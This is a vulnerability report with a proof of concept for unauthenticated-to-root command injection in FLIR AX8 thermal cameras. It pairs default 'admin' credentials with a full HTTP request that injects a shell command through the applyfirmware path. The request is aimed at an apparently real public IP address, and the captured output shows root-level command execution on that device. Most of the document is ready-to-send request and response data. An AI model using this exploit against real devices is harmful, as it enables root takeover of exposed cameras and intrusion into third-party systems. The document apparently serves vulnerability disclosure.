Command injection vulnerability in /usr/www/application/models/settingscamera.php in FLIR AX8 up to 1.46.16

Description

Command injection vulnerability in /usr/www/application/models/settingscamera.php in FLIR AX8 up to 1.46.16 allows attackers to run arbitrary commands via the value parameter. But you must order the cookie and host. Under normal circumstances, it has a weak password vulnerability with default account credentials being 'admin' for both user and password. You can obtain a cookie through this method.

POC

```
GET /settings/applyfirmware/;id>test123.txt;/false HTTP/1.1
Host: 222.103.211.89:8004
Priority: u=0, i
Accept-Encoding: gzip, deflate
Referer: http://222.103.211.89:8004/
Cookie: theme=light; distanceUnit=metric; temperatureUnit=celsius;
showCameraId=false; clientTimeZoneOffset=-480; clientTimeZoneDST=0;
PHPSESSID=fede7f79f208effcb87474d02fe6d53d
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/png,image/svg+xml,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101
Firefox/130.0
```

Response

```
HTTP/1.1 200 OK
X-Powered-By: PHP/5.4.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-type: text/html
Date: Mon, 11 Feb 2002 09:18:49 GMT
Server: lighttpd/1.4.33
```

发送请求 历史 爆破示例 生成 Yaml 模板

Request 数据包扫描 美化 热加载 构造请求

```
GET /settings/applyfirmware/;id>test123.txt;/false HTTP/1.1
Host : 222.103.211.89:8004
Priority: u=0, i
Accept-Encoding: gzip, deflate
Referer: http://222.103.211.89:8004/
Cookie: theme=light; distanceUnit=metric; temperatureUnit=celsius; showCameraId=false; clientTimeZoneOffset=-480; clientTimeZoneDST=0; PHPSESSID=fede7f79f208effcb87474d02fe6d53d
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
```

Responses 0bytes / 513ms 美化 编码 详情

```
HTTP/1.1 200 OK
X-Powered-By: PHP/5.4.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-type: text/html
Date: Mon, 11 Feb 2002 09:18:49 GMT
Server: lighttpd/1.4.33
```

远端地址:222.103.211.89:8004; 响应时间:513ms; 总耗时:9673ms; URL:http://222.103.211.89:8004/se

222.103.211.89:8004/test123 ×

不安全 222.103.211.89:8004/test123.txt

```
uid=0(root) gid=0(root)
```